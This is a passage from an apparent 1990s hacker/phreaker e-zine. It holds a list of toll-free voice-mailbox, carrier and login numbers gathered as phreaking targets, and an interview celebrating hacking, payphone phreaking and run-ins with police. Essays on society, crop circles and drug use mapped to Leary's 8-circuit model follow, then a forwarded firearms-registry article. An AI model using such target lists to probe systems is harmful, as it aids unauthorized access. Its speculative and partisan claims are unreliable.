AT&T Customer Information Center (Canada) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-308-6245 AT&T Easy Reach 800. +1-800-323-6245 AT&T Easy Reach 800. +1-800-324-2255 AT&T Easy Reach 800. +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-432-6600 AT&T Customer Information Center (USA) +1-800-526-6245 AT&T Easy Reach 800. +1-800-555-1213 AT&T Easy Reach 800. +1-800-555-4420 AT&T Easy Reach 800. +1-800-562-2255 AT&T 1-800 Directory Advertising +1-800-562-6275 AT&T Message Sender (Send an automated message to any number in + the world with your voice. Accepts calling cards & credit cards) +1-800-588-6245 AT&T Easy Reach 800. +1-800-662-7759 AT&T Universal Card. +1-800-666-2255 AT&T Easy Reach 800. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-855-1155 AT&T Directory Assistance. +1-800-858-9857 AT&T True Rewards (option 1) +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-967-5363 AT&T Worldnet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) + + +Bell, MCI, Sprint: +----------------- + +1-800-221-4393 Bell Atlantic VMB. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7640 Bell Canada's Ident-a-call demonstration line. +1-800-336-0149 MCI Worldcom Global Product Support. +1-800-451-2100 Lucent Technologies Main number (get product info by FAX). +1-800-521-2673 BellCore. +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-555-2800 Sprint (Spanish) +1-800-570-2255 Sprint Business Service Center. +1-800-575-2255 Sprint Canada's Automated Voice Mail. +1-800-647-6397 Bell Atlantic Employee News line. (Daily recorded messages of + news, events, fraud, etc.) I've called it recently and there + were some interesting messages regarding the FCC cracking down + on LD carriers for ripping off customers, "slamming", etc. +1-800-674-7000 Sprint. +1-800-876-8581 Network MCI. +1-800-877-4646 Sprint. +1-800-877-8000 MCI. +1-800-950-1022 MCI Worldcom Customer Service. + + +Carriers: +-------- + +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-444-8697 RTK-NET +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-668-4968 (1-800-NOT-4YOU) :) +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + +VMBs and other miscellaneous numbers: +------------------------------------ + +1-800-225-2255 ATM Communications. Collect, calling & credit card calls. +1-800-244-1111 U.S. West Communications. +1-800-336-6000 VMB (Audix) +1-800-426-4968 IBM Customer Service. +1-800-460-2255 Pager Service. +1-800-555-1313 VMB (Skytel) +1-800-555-2255 NOS. Collect, credit card calls, operator assisted, etc. +1-800-555-4000 "Mike's" Skytel Direct Dial VMB. Press "*" to access. +1-800-555-6620 VMB (Meridian Mail) +1-800-669-1800 Burger King's VMB. (4 digit BNs) +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-949-6245 VMB (Phone Mail) +1-800-954-6245 VMB (OcTel) + + +There's also a Damage, INC. List of Acronyms included with this issue. They +are contained in the text file that's appropriately named ACRONYMS.TXT. + + +ú - NEWS FROM THE TRENCHES - ú + +...AND JUSTICE FOR ALL is officially down, after being online for approximately +a decade. Over the years the board underwent many changes including: 1 name +change, 5 types of software, and countless hardware upgrades (systems, hard +drives, modems, etc.) It began as a public board and eventually became a +private h/p board. I have no plans of running it again as a dialup board. +However, I won't rule out putting it up as a Telnet board. + +Netscape and AOL merge - There's not much to say about this one. I don't +even want to offer any predictions since I don't know how it'll affect the +vast majority of our readers or what changes will happen due to a merger of +this scale. But, I do think it'll give the AOL kiddies something to talk +about. ;) More information about this, including Gates' reaction is included +in the REPORTS FROM THE FRONT section. + +AT&T buys out IBM's Global Network services for a sum of $5 billion. Their +goal is to become bigger in the global telecommunications market and compete +with MCI. Read the AT&T article in the REPORTS FROM THE FRONT section for +more details about the deal. + + +Information on a new Damage, INC. Distribution Site: + +board name : Deliberate Meltdown +sysop : The Hitman +running : ProBoard +number : +32-2-6478532 +country : Belgium +nets : CCi and InsanityNet +files : h/p and modules + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +An interview with Err418. + + = BLACKENED +Err418's answers and comments are underneath what I wrote. + + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +Hello readers of Damage, INC. I'm the editor of Total Control magazine and +i'm really happy to get interviewed by the Damage, INC. Newsletter. I'm +a h/p guy from the province of Quebec and TC Magazine is a frech magazine. +I have some problems to speak and write english so maybe you'll don't +understand a fucking word of this interview :) + +Total Control is a one and a half year-old magazine and we now have +16 issues. We are getting bigger and bigger. We got some problems with the +RCMP in the past... but now it's ok and we are back ! + + - How long have you been involved in the h/p scene? + +Hummm... around 2 years and a half that i'm in the "scene" but i'm hacking +since 1993. + + + - When was Total Control started? What's the zine about and is there +anything in particular that you hope it'll achieve? + +Total Control started in Septembre 1997. I was writting a lame-ass e-zine +for one of my friend because he asked me to "teach" him. Then +i started to make a webpage... and people started to read us and... +now we are one of the most read magazine in the province. +This is stupid history but i love it :) + + - How has Total Control changed since the first issue was released? + +We changed a lot.. at the beggining Total Control was more a PHREAKING e-zine +but we slowly changed to a HACKING e-zine. We still have some articles +about Phreaking but they are most about the Nortel's Millenium Payphone +because we know it's a pain in the ass for anyone who wanna try to +phreak it... I think we are the only one group that is trying to get +somethin' from this beautiful machine and we don't want to publish +the same old shit that every Phreaking e-zine is publishing... +I'm getting confused now... too many beers :) + +HACK A MILLENIUM NOW :) + + - As the editor of Total Control, do you find that it's difficult to get +other people to write articles and contribute? + +At the beggining it was.. then we got so much articles that i was only +editing it and i was not writing anymore... :) so lazy ! + +But, then, RCMP got in touch with me and tells me to stop my e-zine right +now. I did it because on of my friend just got busted and i didn't want +to put every members of Total Control in shit. + +Then i got back and i'm still trying to get some interesting stuff from +people.. it's slow but it works... BACK TO STAND-ALONE. + + + - Can anyone write articles and submit them to Total Control? Where +should they be sent? How should people that are interested in contributing +contact you and/or Total Control? Is there a web site where issues are +available? + +Yeah, no problem... we accept every kind of "underground" article, +french or english, that IS NOT a copy of somethin' that you read in another +e-zine. We are publishing ORIGINAL stuff and we don't want our reputation +killed for a ripped article. + +Send it to err418@hotmail.com + +We never published english texts but we are interested of doing it. + +Total Control web site : http://members.xoom.com/tctrl/ +We also need graphx-guys to make some logos... mail me for infos. + + - Are you still actively involved in h/p? What do you think of the +local h/p scene in your area of Quebec and how has it changed since you began? + +I'm still involved in h/p and i think i'll always :) + +Here in the Province of Quebec, we have some goods hackers but we have +a lot of problems with RCMPs and the Provincial Police. When you're talking +too loud... they knock at your door to shut you up so we just have a few +e-zines (maybe 3 or 4). + +We (TC, IGA and NevrSee : the 3 e-zines i was talking about) are now +trying to do a h/p Convention this summer at Quebec City. It will help +people to get in touch and learn from each other. + + - Do you read any h/p related zines? If so, please list a few of them. + +Current and known : Phrack, Sysfail, THTJ. + +Current but not well known : NevrSee, IGA (both from Quebec) + +No longer released : PLA (so funny to read) and NPC + + + - Which h/p groups, if any, do you respect? + +1) wQ Industries (for their variety : hack, phreak, carding, fraud, ect...), +2) Corruption Addicts (busted by RCMP), +3) L0pht Industries. + + - Have you ever written any h/p related articles for another zine? If +so, which one(s)? + +SysFail + + + - Which web sites do you usually frequent? + +www.slashdot.org +www.rootshell.com +www.nortel.com +www.bell.ca +www.phrack.com +www.2600.com +www.l0pht.com + + - Do you want to share any memorable hacking/phreaking experiences? + +In 1994, when the police came to my house to tell my mother i was a +"computer hacker" (i was 15 years old.. so newbie :] ) and that +she asked them what was a HACKER.... they told her : "a computer genius". +My mom was proud of my. Have you ever seen your mom proud of being a +criminal ? i've only see it one time... thanx mom :) + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + +I've never faced the justice but some of my friends did (Corruption Addicts). +I only got some warnings from RCMPs and i'm happy like that. + + + - Do you want to mention any boards that you call or people in the scene +that you know? + +Boards : +-------- + +911 :) don't try it + +Greets : +-------- + +Funky, Phaust, MindUser, my grilfriend, NightMare, Psykaos, lab, acxel, +maniak, Cubic, Dgi, Hexa00, __X, Blink-182 (for being a good punkrock band), +s4m-, any persons who ever write for TC, my dog, my cat and everyone +i forgot. + + + - Are there any other interesting h/p experiences or general comments +that you have and wish to share? + + +Political Shits: +---------------- + + Fuck Section : + -------------- + + FUCK DICTATORS (Augusto Pinochet must die), + FUCK HITLER, + FUCK RACISM, + FUCK WARS (help "food not bombs"), + FUCK MICROSOFT, + FUCK HARD DRUGS. + + + Free Section : + -------------- + + FREE QUEBEC, + FREE TIBET, + FREE KEVIN, + FREE INFORMATIONS, + FREE AND LIBERTY IS THE KEY ! + + - Thanks for agreeing to be interviewed Err418. I'm sure that our +readers will enjoy reading this interview and gain some insight about you +and your zine, Total Control. + +That was a real pleasure... cya everybody ! + + +OBJECTIVE OPINIONS - {OPINIONS} +Society: + +What is it in the human psyche? What is it that makes us form groups? What +is it that makes us form rules and regulations? It's possible that it is some +sort of chemical imbalance, or possibly we need to have these things. + +Society as we call it is the one form of control with no ruler. Even though +there is no ruler, we are still ruled. Be it by the morals and expectations +that society forces upon us, or by even yourself. + +In today's modern society everyone is equal... but how can this be true when +I stand at a bus stop and wait for the bus, while people are driving by me +in cars worth as much as a small house? They say there is equal opportunity +for all people in society. This is also a lie they tell us to keep us calm +and feeble. The governments, dictatorships, and society as a whole sell these +lies in mass quantity to those without enough intelligence to question these +things. Those of us that do question these great and magnificent lies are +branded as outcasts, vigilantes, and are thought to have criminal deluded +mislead minds. + +Who is the real fool, the fool, or the man following the fool? + +We as a human race have been moulded into what the great schemers would like us +to be. They are great because they have tricked so many into believing what +they say is true. The real truth is the one that people call ludicrous. + +In the past year I have lived many lifestyles, from the trailer-trash to the +posh and comfortable lifestyle. I have learned a great deal about society +during these past months. If society is so equal why then are there such +divisions in the distribution of wealth? It's not because the rich man works +harder than the poor man. In fact, quite the opposite is true. + +Being a "poor" person myself I can honestly say that when I work, I work my ass +off, and for what? A few dollars a day to keep food in my stomach and a roof +over my head. Slaving away at manual labour jobs, busting my ass, while on +the opposite end of this there is management. They sit in their offices all +day making phone calls and going to meetings or $100 dinners, while making +triple what I am making. + +Society as a whole is the one great fallacy that the governors and politicians +and even the corporations sell to us en masse to keep us paying our taxes and +spending our money on their products. + +You be the judge, is it really all worth it? Or will there be some sort of +change coming in the future? + +--- Written by Asprin Man. + + +Crop Circles: + +Crop Circles? Why write an article on Crop Circles? The answer is simple. +I happen to think they're interesting, and I have a few theories about +them that I'd like to share. I realize that this topic isn't a new one, +nor have there been any lack of articles written about Crop Circles. However, +after having read many articles on the topic, watched programs and done +some 'research' into it, I found that the mass media's perspective isn't +the same as mine. It's not surprising that their views differ from mine. +But since they do, I thought it'd be a good idea to give my opinions, theories +and beliefs. Admittedly, I don't have any concrete evidence or hard facts +to support much of what this article contains. Then again, it's not like +we have a team of scientific researches, UFOlogists, historians, linguists, +conspiracy debunkers, physicists and 'Croptologists' working for us. Indeed, +our resources are at best, limited. So, excuse any incorrect 'facts' that +you might find in this article. In reality though, I don't think there are +any so-called 'facts' yet concerning this topic. + +First, I want to share some of my theories, of which, a few are commonly held +by others that've written articles on this topic. If UFOs exist, it would +be logical to surmise that they could be responsible for creating Crop Circles. +They could be messages that are written in an alien language. To us, they +aren't understandable and resemble nothing except for familiar geographical +shapes. They've been described as being cryptographic symbols. That simply +means that some believe the symbols carry a hidden meaning that's obscure +to us. In other words, they were created by an alien race using their own +symbols or language and we can't understand it. That's one theory. It's +one possibility of many. + +Another theory is that Crop Circles are man-made. That'd mean that they +were all created by humans, in different countries of the world, as a +well constructed hoax. Some people in England and Australia have admitted +making Crop Circles in field, and said that it was done as a joke. But are +they nothing more than that? Are Crop Circles just an elaborate scheme +that people have enjoyed partaking in for over a decade? Are they meaningless +and only made for the amusement of fooling others? Are the complex shapes +and designs used right out of someone's imagination? Were they made solely +for something to do, a harmless activity or past-time? Sure, it's possible. +However, why do they continue to exist? Why are there Crop Circles popping +up in fields in almost every nation of the world? How many people are +involved? Is there some sort of conspiracy, agenda or partnership between +the "Crop Circle Creators" (CCCs)? That's possible as well in my opinion. + +Of course, some Crop Circles are made by people and because of that, they +don't carry any real meaning... other than what the person(s) responsible +for making them intend. What if some of them aren't created by people +though? What if some of them cannot yet be explained. Nobody has or can +claim responsibility for creating them all. No group of people could ever +do that and be thought of as credible since there are simply too many +Crop Circles in too many places. So, who is responsible for making the +ones that mysteriously appear and no ones comes forward to say "Yeah, we +got drunk last night and decided it'd be a blast to make a Crop Circle in +Joe Farmer's wheat field..."? In the minds of some people, blaming it on +alien beings is an improbable and implausible explanation. Could various +governments be involved somehow though? Could they be trying to frighten +the citizens of their respective countries through the use of Crop Circles? +Couldn't they create such a conspiracy? Yes, they definitely could do just +that. In fact, they can do almost anything if they have a motive. They +have the necessary resources to accomplish it. Therefore, it's possible +that they're involved somehow or have the knowledge as to what Crop Circles +really are, what their purpose is, etc. + +If Crop Circles are some type of language, would it have to be an alien one? +No, not necessarily. It wouldn't have to be an alien language at all. It +could very well be a lost language of the human race, one that we've forgotten +over time. If that's the case, they could be trying to communicate with us +in a language that we no longer understand. Exactly what they are trying +to express could be almost anything. As in, they might be trying to convey +messages that are meant to warn us about something, give us information or +just make contact with us. None of these things can be ruled out. At least +not yet... + +Do Crop Circles hold the key to the Universe? Personally, I think that's +very unlikely. I just don't believe that the symbols contain all of +the great secrets of the Universe. Why not? It wouldn't be logical for +an alien race to share all of their knowledge with us. Nor would it be +logical to assume that they know everything that there is to know about the +Universe that we live in. Also, if they were all-knowing beings, then I'm +sure they'd find a better way than Crop Circles to explain it to us. ;) + +My theory is that they are a combination of many things. Some of the +Crop Circles were definitely created as a hoax, by humans. However, I +don't think that they all were. I'm also suspicious of the various +governments and think that they could be involved, either in the creation +of Crop Circles, covering up the truth, or just knowing who's responsible +for creating them, why they continue to appear and what they mean. I think +they do have a purpose and carry a meaning. I don't know what it is though. +I do think that the possibility of alien involvement exists and don't +care how I'm viewed for thinking that. ;) + +In conclusion, I could be foolish for believing in some of these theories. +Perhaps my willingness to believe and want to believe is somehow greater +than the part of me that relies on logic. Maybe I've been fooled into +believing in nothing more than a hoax. That's very possible, and I realize +that. However, sometimes the logical portion of a person's mind can become +'temporarily disabled' and restricted by fantasy. It's not logical to +believe in things that are unproven, but it's often the case. And just +because something hasn't been proven as fact, doesn't mean that it's not +true. Our scientists *definitely* don't know everything. But the truth +is, I don't know if there's some kind of alien connection, government +connection/conspiracy, or if it's all just a man-made hoax created by +individuals that aren't connected to each other in any way. That's why +what I've written is just speculation, theories, my opinions and beliefs. +So, take what I've written with a grain of salt and decide for yourself what +you believe. Basically, it's up to you to think and form your own opinions +on Crop Circles. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} + + +------------------------------------------------------------------------------- +THE 8-CIRCUIT MODEL OF CONSCIOUSNESS- A LURKER'S GUIDE + + Timothy Leary came up with this theory- or I guess model or map would +be better terms- for human consciousness. I get the impression he started +working on it early in his LSD involvement, though I haven't yet been able +to find where he first started talking about the ideas ( I suspect there may +be a reference in 'High Priest', but I haven't waded all the way through yet). + + His book on the subject was called 'Exo-Psychology', and has been +republished with additional material in recent years under the title +'Info-Psychology' (New Falcon Publishing). This is a good book, and it's +especially valuable because it's original source material on the whole idea, +but it really is out there- it's hard to make sense of it unless you already +know what he's talking about. + +There are, however, two excellent books that introduce, explain, and +develop these ideas. Before describing their strong & weak points, let me +give a thumbnail sketch of the big picture: + + The 8-circuit model describes eight levels of function of human +consciousness. Different books call these by different names- 'circuits' +(like different circuits in a computer), 'gears' (like shifting gears on a +bicycle), 'grades' (like in elementary school)- you could call them 'burritos' +if you want- I like 'circuits'. + Anyhow, there are eight circuits. The lower four deal with normal +psychology, while the upper four deal with 'psychic', 'mystical', +'enlightened', or perhaps even 'tripped-out' consciousness. The strong point +of this system is that it integrates the two so well. Most theories deal with +one or the other, but not both- mundane psychology with no consideration of +transcendant experience, or mystical foo-fa-ra with octaves and rays and +spiritual this or that but no grounding in nitty-gritty down-to-earth +surviving in the human jungle. + + The first four 'normal' circuits are influenced very much by modern +psychology, especially Adlerian developmental stuff. Part of the idea is that +as you grow up from infancy, the various circuits are activated and begin to +function, and you take an 'imprint' from the conditions at the time. + The most obvious example is when the sexual/social circuit kicks on +in adolesence, the imprint is taken when you have your first sexual experience. +Sometimes, if this happens in the back seat of a car, with the panic of +wondering whether Mom or Dad will appear, later in life the same person will +discover that nothing turns them on quite as much as doing it in the back seat +of a car, and especially if they feel a bit panicked. + + + Here's a rundown of the first four circuits: + +1st circuit: Survival/security. Things are okay or they're not, or somewhere + in between. This is connected to the first source of these things: + nursing at Mom's nipple. People who take an imprint that things aren't + safe all the time may compensate by eating, especially sweet things, + pudding, 'nursery food' that makes them feel better for a while. + This imprint is taken very early, in nursing. It's what's + known in developmental psychology as 'oral'. Putting things in your + mouth is always fun! + +2nd circuit: Territorial/Emotional. This is a very particular definition of + 'emotional'- are you feeling up or down? Are you on top of the + world or down in the dumps? This is related to basic primate pecking + order stuff- who's the big tough dog and who's the little submissive + dog? Later, when you get your own turf where you can be a little + king, you can defend it against others by throwing shit at each other + (in the form of words, lawsuits, horn honking, or however you prefer + to 'dump on' people). + This one is full of stereotypes- all the examples I gave were + kinda male, yet every female knows there's just as much game-playing + between women. Women traditionally have been made submissive to men, + but in many cases that's not the case, and in any case there's a lot + of passive-agressive ways the tables are turned in each direction. + This corresponds to the 'anal' stage, and the first imprints + are taken during toilet training- this develops greatly when the kid + starts playing with other kids and finding out where they stand- big + kids are always telling little kids what to do. + +3rd circuit: Conceptual. This kicks in even before school- kids are hungry + to learn. This circuit is the ability to make mental models of + things, which help you 'figure things out' and 'be clever'. The + imprint you take is whether you feel smart or stupid (which is + different from BEING smart or stupid!) + Sometimes people who have a bad time in other circuits + compensate in 3rd circuit- actually, that can happen with any of + them. Note also that there are different KINDS of intelligence- + verbal, mathematical, visual/spatial, musical, etc, etc... but as + Robert Anton Wilson says, "...the people with the verbal intelligence + have control of the language, so they call themselves THE + intellectuals." My father, who is a clinical psychologist, always + mentions a particular basketball player (I forget who) whom he + claims is a genius in spatial/motor intelligence, regardless of the + fact that the guy probably reads on a 7th grade level. + +4th circuit: Social/Sexual. Whereas 2nd circuit deals with who bosses who, + 4th deals with who is cool. What this comes down to is that depending + on whether someone is cool or not, you'd let them get close to you or + not, running a spectrum from not talking to someone at all (the snub) + to having sex with them, with many subtle shades in between. + It goes both ways- how cool are you? Are there people that + you aren't cool enough to talk to? "Oh, I could never ask HER/HIM + out..." + The imprint you take here is how cool you feel, and how hard + you have to work to feel that way. + + + Everyone has these circuits, but some people get stuck on one or +another of them, usually because they've got some problem to work out in +that area. Often one circuit gets to be a surrogate for another (especially +if the other is underdeveloped)- the classic example is the pathetic (i.e. +poor 2nd circuit imprint) nerd who tries to out-talk his buddies to show how +smart he is (3rd circuit), in order to be an authority to them (2nd circuit +dominance). + One of the ideas that came up in LSD research was the idea that you +reach a state of flux in which new imprints can be taken. This is very much +in agreement with ideas about set and setting, but as most people who have +taken LSD agree, while everything seems to change after the experience, +after a while you slip back into the old patterns (witness all the flower +children who, unlike the few with real dedication, slipped back to become +businessmen of the 80's). + Whether this slipback is really inherent in the function of the LSD +trip is not certain, though- it may be caused by going back into one's +regular environment, which has been shaped by everything one was before. +Under the pressure of conformity to the old status quo, one slips back. That's +my theory- the way to really find out would be to try the imprint process, and +then afterwards, step into an entirely new life in another place with different +people and things, and see whether the same slipback process happened. (I +haven't tried such a radical experiment myself- I'm too attached to my current +situation to change it just to try out a theory... rationalize, rationalize...) + + I think the people who have been changed for the better by their +psychedelic experiences are those who don't just get high all the time, but +who follow up their realizations with action to improve themselves and their +environment accordingly. + + Leary felt that the goal was to work out the circuits so that one had +imprints that led to a happy, healthy life, but without having to always have +things one way- people who have to always be on top never learn about service, +those who always have to feel secure never learn to take risks, etc. + Ultimately, the circuits would be there to plug into and out of at +Will, while one navigated through the upper circuits: + + + The upper circuits deal with mystical, psychic, or paranormal +consciousness. They are built on the foundation of the lower circuits, almost +as 'overdriven' versions of them. Interestingly, they correspond well with +ideas from many spritual traditions- I was reading a description by a woman +who was initiated into a Native American sweat lodge. She described a vision +in which the Great Spirit appeared and told her of the 'four gifts to mankind'. +These four corresponded exactly to the upper four circuits. + It doesn't always work out so neatly, but the parallels are intersting. + +5th circuit: Bliss/Healing, Neurosomatic Feedback. When 1st circuit security + gets great enough, it becomes bliss, as one becomes aware of one's + sensation of pleasure and learns to generate those sensations at + the source. This is the SF brainbox that directly stimulates one's + pleasure centers, only the box is also your brain! This feedback loop + gets going, and one may remain in the state until kicked out for + some reason (the world makes demands, or the chemical that boosted + you into the state wears off). + Ever seen a picture of a meditating yogi in bliss? In this + state, you realize you can make yourself feel bliss just as easily + as you can move your muscles or keep still. + When this awareness is applied to others, the 5th circuit + energy works to help their 1st circuit state- this is the principle + of healing. Alli believes charisma is connected to 5th circuit, + though I suspect it has to do with the others as well. + +6th circuit: Psychic. This is awareness of the great information network + in which we swim. + The connection to 2nd circuit is not so obvious- + I became aware of the connection following a series of dreams, in + which certain traumatic events of my youth were replayed, but in + ways that made it obvious that the real issues were current things + that had nothing to do with the old stuff. The old stuff was stuff + I'd worked to uncover and work out, and I'm pretty certain there + wasn't much undealt trauma left. Why was I dreaming about it? + I realized that the current situation provided the flow + of anxious energy, but when that flow arose, it followed the same + channel cut by the old trauma, just like a flash flood will + follow an old dry riverbed. + Emotions seem to run in channels in the mind, metaphorically + speaking, and in the same way psychics speak of 'channeling' + material from outside. This is as far as I can put it into words- + I'm no master of any of these upper four, I just offer this in + case it will help someone else's insight. + +7th circuit: Mythical Intelligence. This is the realm of the shaman, of + spirit animals, Gods and Goddesses. It is the Dreamtime. + 3rd circuit draws models of specifics in the conscious + world. 7th circuits draws models of the patterns of archetype that + make up the unconscious world. It does this by telling stories + that illustrate the patterns that arise from these archetypes. When + 7th circuit awareness is working, one realizes how these patterns are + being played out, and instead of just acting in the world, one is at + the same time coming into direct contact with the archetypal. + +8th circuit: Out-of-Body Experiences, Factor X, and ???? This is the far + reaches, and not much is really understood about it. Since 4th + circuit has to do with letting others get close and even (especially + in the case of sexuality) merging with them, it makes sense that 8th + might have to do with overcoming the obtacle of one's physical + boundaries. + + Wilson suggests how certain drugs may activate the various circuits, +something like the following: + +1st circuit: Comfort foods- sugar, dairy products. Sedatives may deaden + alarm sensations and produce a sense of security- alcohol, for + example. + +2nd circuit: Stimulants in general, as well as alcohol in large amounts (the + classic aggressive drunk) + +3rd circuit: Stimulants, possibly, and no doubt 'Smart drugs' would fit here. + +4th circuit: Ecstasy, as well as many others- generally any drug which + defeats social inadequacy programming. + +5th circuit: Sex is the big one, when it goes from being mere satisfaction + of physical drives and becomes oceanlike ecstasy. + Otherwise, marijuana, and most hallucinogens in moderate doses. + +6th circuit: LSD + +7th circuit: Psilocybin, Peyote, possibly LSD, many of the natural + psychedelics. + +8th circuit: Ketamine? Excessive doses of many drugs may produce this, as + well as those which produce near-death experiences. + + Note that no drug is so narrow as to only affect one circuit, and +there are probably much better techniques of activating and developing the +various parts of the Self. Some people, however, suggest that they became +aware of these capacities in themselves through use of them. + + + Since the upper circuits are built on the foundation of the lower +ones, you have to have your shit together to deal with the high stuff. If +you don't, you can have what Alli calls 'Short Circuit', in which the energy +of the higher circuit over-amps and burns out the lower circuit. This can be +either a temporary or a permanent condition, apparently, depending on how +far you overdo it. + For instance, someone who has 2nd circuit aggression/submission +problems may, if they take a large dose of LSD, may feel overwhelmed +by the influx of 6th circuit awareness- hearing voices in their head, +feeling wide open to the flow of information and unable to turn it off. +This may result in over-amping of the second circuit, in which they feel +greatly threatened or even victimized by the Universe. Too much. If this +goes too far, they may continue to feel this even after the drug has worn +off. + + Okay, on to the reviews, in the order I suggest reading them: + +Prometheus Rising, by Robert Anton Wilson. (New Falcon Publishing). + This is a great introduction to the lower four circuits. Wilson + uses cool literature (Joyce, Dickens) to illustrate them, and his + sections on 2nd circuit (or Human Primate Psychology) is witty and + insightful. When he gets to the upper circuits, though, he kind of + peters out, although he offers some interesting ideas. + RAW uses the 8-circuit model extensively in his novels, + especially the Illuminatus Trilogy & Schroedinger's cat. If you + liked them before, try reading them after you have this model + figured out. + +Angel Tech, a modern shaman's guide to reality selection, by Antero Alli. + (New Falcon Publishing) This is by far the very best handbook on the + 8-circuit model. He gives very lucid descriptions of the lower + circuits, what can go wrong with them, and what to do about it. If you + lost the owner's manual that originally came with your Human Form, + this aftermarket manual is a good maintainance guide. + The upper circuits are dealt with tolerably well- I don't + know if anyone could really do them justice. He suggests some + exercises and techniques, but hey! We're all experimenting. + +Info Psychology, by Timothy Leary (New Falcon Publishing). As mentioned + above, this is the source material, but it's not the best + introduction. Leary added astrological correspondances which seem + fairly off-base, he agrees. Otherwise, there is much depth to be + dug out of this. It's not written really to be read linearly, either, + but to be connected up with at whichever points are relevant to + the user at the time. A classic for every bookcase! + + + The 8-circuit model is just another map, and the map is not the +territory, just as the menu is not the meal (as many Falcon authors are fond +of quipping). I've found this particular theory to be one of the more useful +ones when you are trying to figure out your head. + + I asked Leary about the 8-circuit model during a lecture once, and he +picked up on it, but obviously he wasn't as interested in talking theory as he +was working the crowd like a sideshow huckster. He did a great job of that, by +the way, and I enjoyed him greatly. Too bad he gave up research for +marketing, though. + +. . . . . . . . . . . + -Paul Clark a-paulc@microsoft.com + + +------------------------------------------------------------------------------- +<< To All WFSA Members and CILA Participating Organizations; + + As discussed in our last meeting, the Canadian Government is planning on + sharing all firearms registration information with the BATF and other + international police agencies. This includes information gained as + visitors to Canada "temporarily" register their firearms for the purposes + of hunting vacations or target shooting. + + The following is a reprint from the official publication of the Canadian + Firearms Centre, the government body set up for the purposes of + implementing the Firearms Act Bill C-68. + + Please note the references to the maintenance of a firearms registry + maintained by the Provincial Weapons Enforcement Unit (PWEU), a coalition + of various police agencies trained in firearms operations BY THE BATF IN + ROCHESTER, N.Y. This registry is completely illegal and it's maintenance + is not even known of by the Government of Ontario. + + Also interesting is the quote attributed to Chairman Mao, perhaps the most + evil monster in human history. + + Tony Bernardo + Executive Director + Canadian Institute for Legislative Action (CILA) + ---------------------------------------------------------------- + + INSIGHT, the Newsletter of the Canadian Firearms Center, Issue 4-fall 1998. + + STOPPING THE TRAFFIC + + The illegal trafficking of firearms has become a major concern in Countries + around the world. In Canada, the problem is particularly Serious in large + urban centres such as Toronto, Montreal and Vancouver. As a key source of + firearms used in organized crime, underground trafficking networks give + drug dealers, bikers, street gangs and the Mob an advantage over both + citizens and police. + + In 1994, a special firearms smuggling work group was set up to examine the + problem and suggest ways of dealing with it. The group's recommendations + led to greater controls over importing and exporting in the Firearms Act, + and to new and separate penalties for smuggling and trafficking in the + CriminalCode. + + To support these legislative initiatives, a core group consisting of + representatives from the Department of Justice, Revenue Canada Customs, the + RCMP and the provinces, was set-up in 1997. A major goal of this group has + been to develop the strategy to target criminals by exchanging information + and co-operating with enforcement agencies in Canada and the United + States. + + "Themake, model, serial number and other information on a gun found at a + crime scene can help catch the criminal who used it" Says Bob Holmes, the + manager of the core group. "If Police officers want to make the most of + this information, they have to be able to share it across national and + provincial borders." + + In Holmes' view, the new requirement for the registration of common rifles + and shotguns combined with a new, fully automated registration system, + can't help but be a valuable tool for helping police track the illegal + movement of firearms. + + "Studies show that half of all the handguns and other restricted firearms + recovered at crime scenes are registered and can be traced back to their + original owner. Now it will be much easier to trace the source of + non-restricted rifles and shotguns as well," says Holmes, noting that these + make up the majority of firearms used in crime. Moreover, under the new + law, criminals who use firearms to commit 1 of 10 of the most serious + crimes now get heavier sentences. "Heavier sentences with clearly defined + prohibitions give of the core group police the tools and incentives to + interrupt the flow of guns to the underworld," says Holmes. "This balance + of enforcement action with legitimate controls is paramount for public + safety." + + Thisis especially important now that illegally acquired firearms are being + used more quickly for crimes. Whereas it used to take about five years for + such a weapon to be used in a crime, Holmes estimates that this time has + fallen to just a few months. Worse still, many of these weapons are + either inexpensive "throwaways" or very sophisticated, even military, + firearms. + + The initiative is already showing results in British Columbia, says Staff + Sergeant Bill Carver, who represents the B.C. Association of Chiefs of + Police at the core group. He says that the new enforcement policies and + strategies have led to a "significant increase" over the past year in the + ability of B.C. police to trace crime guns back to their source, even + when that source is out of the country. + + "Our focus is crime gun enforcement so this is clearly a valuable + investigative tool for us," says Carver. "Anything that gets crime guns off + the streets will win support from us." + + Inspector Bob Frolic represents Ontario at the core group. "The criminals + who are trafficking in illegal firearms do not recognize borders," says + Frolic. "As such, the sharing of information is of the utmost importance + in the enforcement of our firearms legislation. We cannot operate in a + vacuum." + + In Ontario, the police must report all firearms that come into their + possession. As a result, the Ontario Provincial Weapons Enforcement Unit + now has more than 83,000 handguns, rifles and shotguns in its firearms + database, which it can use for analysis. + + For Holmes, knowledge is power, and sharing information keeps another kind + of power out of the hands 